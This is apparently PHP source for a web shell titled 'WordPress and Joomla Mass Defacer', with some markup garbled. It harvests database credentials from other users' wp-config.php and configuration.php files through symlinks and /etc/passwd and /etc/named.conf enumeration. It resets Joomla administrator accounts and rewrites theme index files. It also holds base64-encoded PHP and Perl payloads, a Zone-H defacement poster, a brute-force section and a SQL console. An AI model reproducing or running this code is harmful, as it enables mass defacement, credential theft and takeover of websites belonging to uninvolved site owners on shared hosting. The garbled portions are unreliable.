“;$hk = explode(‘public_html’,$_file);$output.= ‘[+] Deface ‘.file_get_contents($site_url.str_replace(‘/blog’,”,$hk[1]));$cond = 1;}} else {$url2=$site_url.’/wp-admin/theme-editor.php?file=index.php&theme=’.$template;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, “COOKIE.txt”);curl_setopt($ch, CURLOPT_COOKIEFILE, “COOKIE.txt”);$buffer0 = curl_exec($ch);$_wpnonce = entre2v2($buffer0,’
‘);if(substr_count($_file,”index.php”) != 0){$output.= “[+] index.php loaded in Theme Editor
“;$url2=$site_url.”/wp-admin/theme-editor.php”;curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS,”newcontent=”.base64_decode($content).”&action=update&file=”.$_file.”&theme=”.$template.”&_wpnonce=”.$_wpnonce.”&submit=Update File”);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, “COOKIE.txt”);curl_setopt($ch, CURLOPT_COOKIEFILE, “COOKIE.txt”);$buffer = curl_exec($ch);curl_close($ch);$pos = strpos($buffer,’
‘);if($pos === false) {$output.= “[-] Updating Index.php Error
“;} else {$output.= “[+] Index.php Template Updated Successfuly
“;$output.= ‘[+] Deface ‘.file_get_contents($site_url.’/wp-content/themes/’.$template.’/index.php’);$cond = 1;}} else {$output.= “[-] index.php can not load in Theme Editor
“;}}}} else {$output.= “[-] DB Error
“;}global $base_path;unlink($base_path.’COOKIE.txt’);return array(‘cond’=>$cond, ‘output’=>$output);}function index_changer_joomla($conf, $content, $domain) {$doler = ‘$’;$username = entre2v2($conf, $doler.”user = ‘”, “‘;”);$password = entre2v2($conf, $doler.”password = ‘”, “‘;”);$dbname = entre2v2($conf, $doler.”db = ‘”, “‘;”);$prefix = entre2v2($conf, $doler.”dbprefix = ‘”, “‘;”);$host = entre2v2($conf, $doler.”host = ‘”,”‘;”);$co=randomt();$site_url = “http://”.$domain.”/administrator”;$output = ”;$cond = 0; $link=mysql_connect($host, $username, $password);if($link) {mysql_select_db($dbname,$link) ;$req1 = mysql_query(“UPDATE `”.$prefix.”users` SET `username` =’admin’ , `password` = ‘4297f44b13955235245b2497399d7a93’, `usertype` = ‘Super Administrator’, `block` = 0″);$req = mysql_numrows(mysql_query(“SHOW TABLES LIKE ‘”.$prefix.”extensions'”));} else {$output.= “[-] DB Error
“;}if($req1){if ($req) {$req = mysql_query(“SELECT * from `”.$prefix.”template_styles` WHERE `client_id` = ‘0’ and `home` = ‘1’”);$data = mysql_fetch_array($req);$template_name = $data[“template”];$req = mysql_query(“SELECT * from `”.$prefix.”extensions` WHERE `name`='”.$template_name.”‘ or `element` = ‘”.$template_name.”‘”);$data = mysql_fetch_array($req);$template_id = $data[“extension_id”];$url2=$site_url.”/index.php”;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$return = entre2v2($buffer ,’
” ;}=”” else=”” ;}}if($pos){$url2=”$site_url.”/index.php?option=com_templates&task=source.edit&id=”.base64_encode($template_id.”:index.php”);$ch” curl_init();curl_setopt($ch,=”” ‘,2);if($hidden2)=”” ;}}if($hidden2)=”” {$url2=”$site_url.”/index.php?option=com_templates&layout=edit”;$ch” curlopt_postfields,”jform[source]=”.$content.” &jform[filename]=”index.php&jform[extension_id]=”.$template_id.”&”.$hidden2.”=1&task=source.save”);curl_setopt($ch,” strpos($buffer,'<dd=”” class=”message message” type=”hidden”>’);$cond = 0;if($pos === false) {$output.= “[-] Updating Index.php Error
“;} else {$output.= “[+] Index.php Template successfully saved
“;$cond = 1;}}} else {$req =mysql_query(“SELECT * from `”.$prefix.”templates_menu` WHERE client_id=’0′”);$data = mysql_fetch_array($req);$template_name=$data[“template”];$useragent=”Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)”;$url2=$site_url.”/index.php”;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url2);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);curl_setopt($ch, CURLOPT_USERAGENT, $useragent);curl_setopt($ch, CURLOPT_COOKIEJAR, $co); curl_setopt($ch, CURLOPT_COOKIEFILE, $co); $buffer = curl_exec($ch);$hidden=entre2v2($buffer ,’
” ;}=”” else=”” ;}}if($pos)=”” {$url2=”$site_url.”/index.php?option=com_templates&task=edit_source&client=0&id=”.$template_name;curl_setopt($ch,” 1);curl_setopt($ch,curlopt_returntransfer,1);curl_setopt($ch,=”” ,'<input=”” ‘,6);if($hidden2)=”” ;}}if($hidden2)=”” curlopt_postfields,”filecontent=”.$content.” &id=”.$template_name.” &cid[]=”.$template_name.” &”.$hidden2.”=”1&task=save_source&client=0″);curl_setopt($ch,” $co);$buffer=”curl_exec($ch);curl_close($ch);$pos” strpos($buffer,'<dd=”” class=”message message fade” type=”hidden”>’);$cond = 0;if($pos === false) {$output.= “[-] Updating Index.php Error
“;} else {$output.= “[+] Index.php Template successfully saved
“;$cond = 1;}}}} else {$output.= “[-] DB Error
“;}global $base_path;unlink($base_path.$co);return array(‘cond’=>$cond, ‘output’=>$output); }function exec_mode_1($def_url) {@mkdir(‘sym’,0777);$wr = “Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any”;$fp = @fopen (‘sym/.htaccess’,’w’);fwrite($fp, $wr);@symlink(‘/’,’sym/root’);$dominios = @file_get_contents(“/etc/named.conf”);@preg_match_all(‘/.*?zone “(.*?)” {/’, $dominios, $out);$out[1] = array_unique($out[1]);$numero_dominios = count($out[1]);echo “Total domains: $numero_dominios
“;$def = file_get_contents($def_url);$def = urlencode($def);$dd = ‘PD9waHANCiRkZWYgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cDovL3pvbmVobWlycm9ycy5vcmcvZGVmYWNlZC8yMDEzLzAzLzE5L2Fzc29jaWFwcmVzcy5uZXQnKTsNCiRwID0gZXhwbG9kZSgncHVibGljX2h0bWwnLGRpcm5hbWUoX19GSUxFX18pKTsNCiRwID0gJHBbMF0uJ3B1YmxpY19odG1sJzsNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkcCkpIHsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXguaHRtbCcsJ3crJyk7DQogICAgQGZ3cml0ZSgkZnAxLCAkZGVmKTsNCiAgICAkZnAxID0gQGZvcGVuKCRwLicvaW5kZXgucGhwJywndysnKTsNCiAgICBAZndyaXRlKCRmcDEsICRkZWYpOw0KICAgICRmcDEgPSBAZm9wZW4oJHAuJy9pbmRleC5odG0nLCd3KycpOw0KICAgIEBmd3JpdGUoJGZwMSwgJGRlZik7DQogICAgZWNobyAnRG9uZSc7DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnVubGluayhfX0ZJTEVfXyk7DQo/Pg==’;$base_url = ‘http://’.$_SERVER[‘SERVER_NAME’].dirname($_SERVER[‘SCRIPT_NAME’]).’/sym/root/home/’;$output = fopen(‘defaced.html’, ‘a+’);$_SESSION[‘count1’] = (isset($_GET[‘st’]) && $_GET[‘st’]!=”) ? (isset($_SESSION[‘count1’]) ? $_SESSION[‘count1’] :0 ) : 0;$_SESSION[‘count2’] = (isset($_GET[‘st’]) && $_GET[‘st’]!=”) ? (isset($_SESSION[‘count2’]) ? $_SESSION[‘count2’] :0 ) : 0;echo ”;$j = 1;$st = (isset($_GET[‘st’]) && $_GET[‘st’]!=”) ? $_GET[‘st’] : 0;for($i = $st; $i <= $numero_dominios; $i++){$domain = $out[1][$i];$dono_arquivo = @fileowner(“/etc/valiases/”.$domain);$infos = @posix_getpwuid($dono_arquivo);if($infos[‘name’]!=’root’) {$config01 = @file_get_contents($base_url.$infos[‘name’].”/public_html/configuration.php”);$config02 = @file_get_contents($base_url.$infos[‘name’].”/public_html/wp-config.php”);$config03 = @file_get_contents($base_url.$infos[‘name’].”/public_html/blog/wp-config.php”);$cls = ($j % 2 == 0) ? ‘class=”even”‘ : ‘class=”odd”‘;if($config01 && preg_match(‘/dbprefix/i’,$config01)){echo ”;echo ”;$res = index_changer_joomla($config01, $def, $domain);echo ”;if($res[‘cond’]) {echo ”;fwrite($output, ‘http://’.$domain.”
“);$_SESSION[‘count1’] = $_SESSION[‘count1’] + 1;} else {echo ”;}echo ”;}if($config02 && preg_match(‘/DB_NAME/i’,$config02)){echo ”;echo ”;$res = index_changer_wp($config02, $dd);echo ”;if($res[‘cond’]) {echo ”;fwrite($output, ‘http://’.$domain.”
“);$_SESSION[‘count2’] = $_SESSION[‘count2’] + 1;} else {echo ”;}echo ”;}$cls = ($j % 2 == 0) ? ‘class=”even”‘ : ‘class=”odd”‘;if($config03 && preg_match(‘/DB_NAME/i’,$config03)){echo ”;echo ”;$res = index_changer_wp($config03, $dd);echo ”;if($res[‘cond’]) {echo ”;fwrite($output, ‘http://’.$domain.”
“);$_SESSION[‘count2’] = $_SESSION[‘count2’] + 1;} else {echo ”;}echo ”;}}}echo ‘
ID |
SID |
Domain |
Type |
Action |
Status |
<tr ‘.$cls.’=””>’.($j++).”.$i.’‘.$domain.’JOOMLA‘.$res[‘output’].’DEFACEDFAILED<tr ‘.$cls.’=””>’.($j++).”.$i.’‘.$domain.’WORDPRESS‘.$res[‘output’].’DEFACEDFAILED<tr ‘.$cls.’=””>’.($j++).”.$i.’‘.$domain.’WORDPRESS‘.$res[‘output’].’DEFACEDFAILED
‘;echo ‘
‘;echo ‘Total Defaced = ‘.($_SESSION[‘count1’]+$_SESSION[‘count2′]).’ (JOOMLA = ‘.$_SESSION[‘count1′].’, WORDPRESS = ‘.$_SESSION[‘count2′].’)
‘;echo ‘View Total Defaced urls
‘;if($_SESSION[‘count1’]+$_SESSION[‘count2’] > 0){echo ‘Send to Zone-H‘;}}function exec_mode_2($def_url) {$domains = @file_get_contents(“/etc/named.conf”);@preg_match_all(‘/.*?zone “(.*?)” {/’, $domains, $out);$out = array_unique($out[1]);$num = count($out);print(“Total domains: $num
“);$def = file_get_contents($def_url);$def = urlencode($def);$output = fopen(‘defaced.html’, ‘a+’);$defaced = ”;$count1 = 0;$count2 = 0;echo ”;$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner(“/etc/valiases/”.$d));$map[$info[‘name’]] = $d;}$dt = ‘IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHdkfTs
NCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2
h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19od
G1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwv
YmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRklMRSwgJy9ldGMvcGFzc3d
kJyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPCR5OyRrYSsrKXsNCiAgIC
B3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==’;mkdir(‘plsym’,0777);file_put_contents(‘plsym/plsym.cc’, base64_decode($dt));chmod(‘plsym/plsym.cc’, 0755);$wr = “Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc”;$fp = @fopen (‘plsym/.htaccess’,’w’);fwrite($fp, $wr);fclose($fp);$res = file_get_contents(‘http://’.$_SERVER[‘SERVER_NAME’].dirname($_SERVER[‘SCRIPT_NAME’]).’/plsym/plsym.cc’); $url = ‘http://’.$_SERVER[‘SERVER_NAME’].dirname($_SERVER[‘SCRIPT_NAME’]).’/plsym/’;unlink(‘plsym/plsym.cc’);$data = file_get_contents($url);preg_match_all(‘//’, $data, $match);unset($match[1][0]);$i = 1;foreach($match[1] as $m){$mz = explode(‘##’,urldecode($m));$config01 = ”;$config02 = ”;if($mz[1] == ‘joomla.txt’) {$config01 = file_get_contents($url.$m);}if($mz[1] == ‘wordpress.txt’) {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? ‘class=”even”‘ : ‘class=”odd”‘;if($config01 && preg_match(‘/dbprefix/i’,$config01)){echo ‘‘;echo ‘‘;$res = index_changer_joomla($config01, $def, $domain);echo ‘‘;if($res[‘cond’]) {echo ‘‘;fwrite($output, ‘http://’.$domain.”
“);$count1++;} else {echo ‘‘;}echo ‘‘;}if($config02 && preg_match(‘/DB_NAME/i’,$config02)){echo ‘‘;echo ‘‘;$res = index_changer_wp($config02, $def);echo ‘‘;if($res[‘cond’]) {echo ‘‘;fwrite($output, ‘http://’.$domain.”
“);$count2++;} else {echo ‘‘;}echo ‘‘;}}echo ‘
ID |
SID |
Domain |
Type |
Action |
Status |
<tr ‘.$cls.’=””>’.($j++).”.$i++.’‘.$domain.’JOOMLA‘.$res[‘output’].’DEFACEDFAILED<tr ‘.$cls.’=””>’.($j++).’‘.$domain.’WORDPRESS‘.$res[‘output’].’DEFACEDFAILED
‘;echo ‘
‘;echo ‘Total Defaced = ‘.($count1+$count2).’ (JOOMLA = ‘.$count1.’, WORDPRESS = ‘.$count2.’)
‘;echo ‘View Total Defaced urls
‘;if($count1+$count2 > 0){echo ‘Send to Zone-H‘;}}function exec_mode_3($def_url) {$domains = @file_get_contents(“/etc/named.conf”);@preg_match_all(‘/.*?zone “(.*?)” {/’, $domains, $out);$out = array_unique($out[1]);$num = count($out);print(“Total domains: $num
“);$def = file_get_contents($def_url);$def = urlencode($def); $output = fopen(‘defaced.html’, ‘a+’);$defaced = ”;$count1 = 0;$count2 = 0;echo ”;$j = 1;$map = array();foreach($out as $d) {$info = @posix_getpwuid(fileowner(“/etc/valiases/”.$d));$map[$info[‘name’]] = $d;}$dt = ‘IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpzdWIgbGlsew0KICAgICgkdXNlcikgPSBAXzsNCiAgICAkbXNyID0gcXh7cHd
kfTsNCiAgICAka29sYT0kbXNyLiIvIi4kdXNlcjsNCiAgICAka29sYT1+cy9cbi8vZzsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcH
VibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLicjI2pvb21sYS50eHQnKTsgDQogICAgc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL
3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLicjI3dvcmRwcmVzcy50eHQnKTsNCiAgICBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicv
cHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nIyNzd29yZHByZXNzLnR4dCcpOw0KfQ0KDQpsb2NhbCAkLzsNCm9wZW4oRkl
MRSwgJ2RhdGEudHh0Jyk7ICANCkBsaW5lcyA9IDxGSUxFPjsgDQpjbG9zZShGSUxFKTsNCiR5ID0gQGxpbmVzOw0KDQpmb3IoJGthPTA7JGthPC
R5OyRrYSsrKXsNCiAgICB3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiAgICAgICAgJmxpbCgkMSk7DQogICAgfQ0KfQ==’;mkdir(‘plsym’,0777);file_put_contents(‘plsym/data.txt’, $_POST[‘man_data’]);file_put_contents(‘plsym/plsym.cc’, base64_decode($dt));chmod(‘plsym/plsym.cc’, 0755);$wr = “Options FollowSymLinks MultiViews Indexes ExecCGI\n\nAddType application/x-httpd-cgi .cc\n\nAddHandler cgi-script .cc\nAddHandler cgi-script .cc”;$fp = @fopen (‘plsym/.htaccess’,’w’);fwrite($fp, $wr);fclose($fp);$res = file_get_contents(‘http://’.$_SERVER[‘SERVER_NAME’].dirname($_SERVER[‘SCRIPT_NAME’]).’/plsym/plsym.cc’); $url = ‘http://’.$_SERVER[‘SERVER_NAME’].dirname($_SERVER[‘SCRIPT_NAME’]).’/plsym/’;unlink(‘plsym/plsym.cc’);$data = file_get_contents($url);preg_match_all(‘//’, $data, $match);unset($match[1][0]);$i=1;foreach($match[1] as $m){$mz = explode(‘##’,urldecode($m));$config01 = ”;$config02 = ”;if($mz[1] == ‘joomla.txt’) {$config01 = file_get_contents($url.$m);}if($mz[1] == ‘wordpress.txt’) {$config02 = file_get_contents($url.$m);}$domain = $map[$mz[0]];$cls = ($j % 2 == 0) ? ‘class=”even”‘ : ‘class=”odd”‘;if($config01 && preg_match(‘/dbprefix/i’,$config01)){echo ‘‘;echo ‘‘;$res = index_changer_joomla($config01, $def, $domain);echo ‘‘;if($res[‘cond’]) {echo ‘‘;fwrite($output, ‘http://’.$domain.”
“);$count1++;} else {echo ‘‘;}echo ‘‘;}if($config02 && preg_match(‘/DB_NAME/i’,$config02)){echo ‘‘;echo ‘‘;$res = index_changer_wp($config02, $def);echo ‘‘;if($res[‘cond’]) {echo ‘‘;fwrite($output, ‘http://’.$domain.”
“);$count2++;} else {echo ‘‘;}echo ‘‘;}}echo ‘
ID |
SID |
Domain |
Type |
Action |
Status |
<tr ‘.$cls.’=””>’.($j++).”.($i++).’‘.$domain.’JOOMLA‘.$res[‘output’].’DEFACEDFAILED<tr ‘.$cls.’=””>’.($j++).’‘.$domain.’WORDPRESS‘.$res[‘output’].’DEFACEDFAILED
‘;echo ‘
‘;echo ‘Total Defaced = ‘.($count1+$count2).’ (JOOMLA = ‘.$count1.’, WORDPRESS = ‘.$count2.’)
‘;echo ‘View Total Defaced urls
‘;if($count1+$count2 > 0){echo ‘Send to Zone-H‘;}}echo ‘
WordPress and Joomla Mass Defacer
‘;if(!isset($_POST[‘form_action’]) && !isset($_GET[‘mode’])){echo ‘
‘;}$milaf_el_index = $_POST[‘defpage’];if($_POST[‘form_action’] == 1) {if($_POST[‘mode’]==1) { exec_mode_1($milaf_el_index); }if($_POST[‘mode’]==2) { exec_mode_2($milaf_el_index); }if($_POST[‘mode’]==3) { exec_mode_3($milaf_el_index); }}if($_GET[‘mode’]==1) { exec_mode_1($milaf_el_index); }echo ”;}
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘zone-h’)){$defacer=’ReZK2LL’;$display_details=0;$method=14;$reason=5;error_reporting(0);set_time_limit(0);if(!function_exists(‘curl_init’)){echo “CURL ERROR\n”;exit;}$cli=(isset($argv[0]))?1:0;if($cli==1){$file=$argv[1];$sites=file($file);}if(function_exists(apache_setenv)){@apache_setenv(‘no-gzip’, 1);}@ini_set(‘zlib.output_compression’, 0);@ini_set(‘implicit_flush’, 1);@ob_implicit_flush(true);@ob_end_flush();if(isset($_POST[‘domains’])){$sites=explode(“\n”,$_POST[‘domains’]);}if (file_exists($_FILES[“file”][“tmp_name”])){$file=$_FILES[“file”][“tmp_name”];$sites=file($file);}
echo <<<eof
EOF;
if(!isset($_POST['defacer'])){
echo <<<eof
Zone-H Poster
EOF;
}$defacer=$_POST[‘defacer’];if(!$sites){echo ‘
‘;exit;}$sites=array_unique(str_replace(‘http://’,”,$sites));$total=count($sites);echo “[+] Total unique domain: $total\n\n”;$pause=10;$start=time();$main=curl_multi_init();for($m=0;$m<3;$m++){$http[] = curl_init();}for($n=0;$n<$total;$n +=30){if($display_details==1){for($x=0;$x<30;$x++){echo'[+] Adding ‘.rtrim($sites[$n+$x]).”;echo “\n”;}}$d=$n+30;if($d>$total){$d=$total;}echo “=====================>[$d/$total]\n”;for($w=0;$w<3;$w++){$p=$w * 10;if(!(isset($sites[$n+$p]))){$pause=$w;break;}$posts[$w]=”defacer=$defacer&domain1=http%3A%2F%2F”.rtrim($sites[$n+$p]).”&domain2=http%3A%2F%2F”.rtrim($sites[$n+$p+1]).”&domain3=http%3A%2F%2F”.rtrim($sites[$n+$p+2]).”&domain4=http%3A%2F%2F”.rtrim($sites[$n+$p+3]).”&domain5=http%3A%2F%2F”.rtrim($sites[$n+$p+4]).”&domain6=http%3A%2F%2F”.rtrim($sites[$n+$p+5]).”&domain7=http%3A%2F%2F”.rtrim($sites[$n+$p+6]).”&domain8=http%3A%2F%2F”.rtrim($sites[$n+$p+7]).”&domain9=http%3A%2F%2F”.rtrim($sites[$n+$p+8]).”&domain10=http%3A%2F%2F”.rtrim($sites[$n+$p+9]).”&hackmode=”.$method.”&reason=”.$reason.”&submit=Send”;$curlopt=array(CURLOPT_USERAGENT => ‘Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16’,CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array(“Keep-Alive: 7”),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => ‘http://www.zone-h.com/notify/mass’,CURLOPT_POSTFIELDS => $posts[$w]);curl_setopt_array($http[$w],$curlopt);curl_multi_add_handle($main,$http[$w]);}$running = null;do{curl_multi_exec($main,$running);}while($running > 0);for($m=0;$m<3;$m++){if($pause==$m){break;}curl_multi_remove_handle($main, $http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);if ($code != 200) {while(true){echo’ [-]Error!….Retrying’;echo “\n”;sleep(5);curl_exec($http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);if( $code== 200){break 1;}}}}}$end= time() – $start;echo ‘Done’;echo “\n\n[*]Time: $end seconds\n”;curl_multi_close($main);if($cli==0){echo ”;}exit;}
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘brute’)){$connect_timeout=5;
set_time_limit(0);$submit=$_REQUEST[‘submit’];$users=$_REQUEST[‘users’];$pass=$_REQUEST[‘passwords’];$target=$_REQUEST[‘target’];$cracktype=$_REQUEST[‘cracktype’];if($target == “”){$target = “localhost”;}?>
“;$msg = $msgq.$head.$msg;}
elseif(isset($_GET[‘submitquery’]) && ($_GET[‘sqlquery’] != “”)){$db = $_GET[‘db’];$query = magicboom($_GET[‘sqlquery’]);
$msg = ”
“;@mysql_select_db($db);$querys = explode(“;”,$query);foreach($querys as $query){if(trim($query) != “”){$hasil = mysql_query($query);
if($hasil){$msg .= ”
“.$query.”; [ ok ]
“;$msg .= “”;
for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= “”;$msg .= “”;for($i=0;$i<@mysql_num_rows($hasil);$i++) {$rows=@mysql_fetch_array($hasil);$msg .= “”;for($j=0;$j<@mysql_num_fields($hasil);$j++) {
if($rows[$j] == “”) $dataz = ” “;
else $dataz = $rows[$j];$msg .= “”;} $msg .= “”;} $msg .= ”
“.htmlspecialchars(@mysql_field_name($hasil,$i)).” |
“.$dataz.” |
“;}
else $msg .= ”
“.$query.”; [ error ]
“;} } }
else {$query = “SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;”;$msg = ”
“;$dbs = array();$msg .= “”;$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
$msg .= “”;} $msg .= ”
“;}
@mysql_close($con);} else $msg = ”
can’t connect
“;echo $msg;} else{?>
elseif(isset($_GET[‘x’]) && ($_GET[‘x’] == ‘configs’)) {?>
Symlink is disabled 🙁 ‘);}@mkdir(‘configs’, 0755);@chdir(‘configs’);$htaccess=”
Options all
Options +Indexes
Options +FollowSymLinks
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
“;file_put_contents(“.htaccess”,$htaccess,FILE_APPEND);$passwd=$_POST[“passwd”];$passwd=explode(“\n”,$passwd);echo “wait …“;foreach($passwd as $pwd){$pawd=explode(“:”,$pwd);$user =$pawd[0];@symlink(‘/home/’.$user.’/public_html/wp-config.php’,$user.’-wp13.txt’);@symlink(‘/home/’.$user.’/public_html/wp/wp-config.php’,$user.’-wp13-wp.txt’);@symlink(‘/home/’.$user.’/public_html/WP/wp-config.php’,$user.’-wp13-WP.txt’);@symlink(‘/home/’.$user.’/public_html/wp/beta/wp-config.php’,$user.’-wp13-wp-beta.txt’);@symlink(‘/home/’.$user.’/public_html/beta/wp-config.php’,$user.’-wp13-beta.txt’);@symlink(‘/home/’.$user.’/public_html/press/wp-config.php’,$user.’-wp13-press.txt’);@symlink(‘/home/’.$user.’/public_html/wordpress/wp-config.php’,$user.’-wp13-wordpress.txt’);@symlink(‘/home/’.$user.’/public_html/Wordpress/wp-config.php’,$user.’-wp13-Wordpress.txt’);@symlink(‘/home/’.$user.’/public_html/blog/wp-config.php’,$user.’-wp13-Wordpress.txt’);@symlink(‘/home/’.$user.’/public_html/wordpress/beta/wp-config.php’,$user.’-wp13-wordpress-beta.txt’);@symlink(‘/home/’.$user.’/public_html/news/wp-config.php’,$user.’-wp13-news.txt’);@symlink(‘/home/’.$user.’/public_html/new/wp-config.php’,$user.’-wp13-new.txt’);@symlink(‘/home/’.$user.’/public_html/blog/wp-config.php’,$user.’-wp-blog.txt’);@symlink(‘/home/’.$user.’/public_html/beta/wp-config.php’,$user.’-wp-beta.txt’);@symlink(‘/home/’.$user.’/public_html/blogs/wp-config.php’,$user.’-wp-blogs.txt’);@symlink(‘/home/’.$user.’/public_html/home/wp-config.php’,$user.’-wp-home.txt’);@symlink(‘/home/’.$user.’/public_html/protal/wp-config.php’,$user.’-wp-protal.txt’);@symlink(‘/home/’.$user.’/public_html/site/wp-config.php’,$user.’-wp-site.txt’);@symlink(‘/home/’.$user.’/public_html/main/wp-config.php’,$user.’-wp-main.txt’);@symlink(‘/home/’.$user.’/public_html/test/wp-config.php’,$user.’-wp-test.txt’);@symlink(‘/home/’.$user.’/public_html/joomla/configuration.php’,$user.’-joomla2.txt’);@symlink(‘/home/’.$user.’/public_html/protal/configuration.php’,$user.’-joomla-protal.txt’);@symlink(‘/home/’.$user.’/public_html/joo/configuration.php’,$user.’-joo.txt’);@symlink(‘/home/’.$user.’/public_html/cms/configuration.php’,$user.’-joomla-cms.txt’);@symlink(‘/home/’.$user.’/public_html/site/configuration.php’,$user.’-joomla-site.txt’);@symlink(‘/home/’.$user.’/public_html/main/configuration.php’,$user.’-joomla-main.txt’);@symlink(‘/home/’.$user.’/public_html/news/configuration.php’,$user.’-joomla-news.txt’);@symlink(‘/home/’.$user.’/public_html/new/configuration.php’,$user.’-joomla-new.txt’);@symlink(‘/home/’.$user.’/public_html/home/configuration.php’,$user.’-joomla-home.txt’);@symlink(‘/home/’.$user.’/public_html/vb/includes/config.php’,$user.’-vb-config.txt’);@symlink(‘/home/’.$user.’/public_html/whm/configuration.php’,$user.’-whm15.txt’);@symlink(‘/home/’.$user.’/public_html/central/configuration.php’,$user.’-whm-central.txt’);@symlink(‘/home/’.$user.’/public_html/whm/whmcs/configuration.php’,$user.’-whm-whmcs.txt’);@symlink(‘/home/’.$user.’/public_html/whm/WHMCS/configuration.php’,$user.’-whm-WHMCS.txt’);@symlink(‘/home/’.$user.’/public_html/whmc/WHM/configuration.php’,$user.’-whmc-WHM.txt’);@symlink(‘/home/’.$user.’/public_html/whmcs/configuration.php’,$user.’-whmcs.txt’);@symlink(‘/home/’.$user.’/public_html/support/configuration.php’,$user.’-support.txt’);@symlink(‘/home/’.$user.’/public_html/configuration.php’,$user.’-joomla.txt’);@symlink(‘/home/’.$user.’/public_html/submitticket.php’,$user.’-whmcs2.txt’);@symlink(‘/home/’.$user.’/public_html/whm/configuration.php’,$user.’-whm.txt’);}echo ‘Done -> configs‘;}}
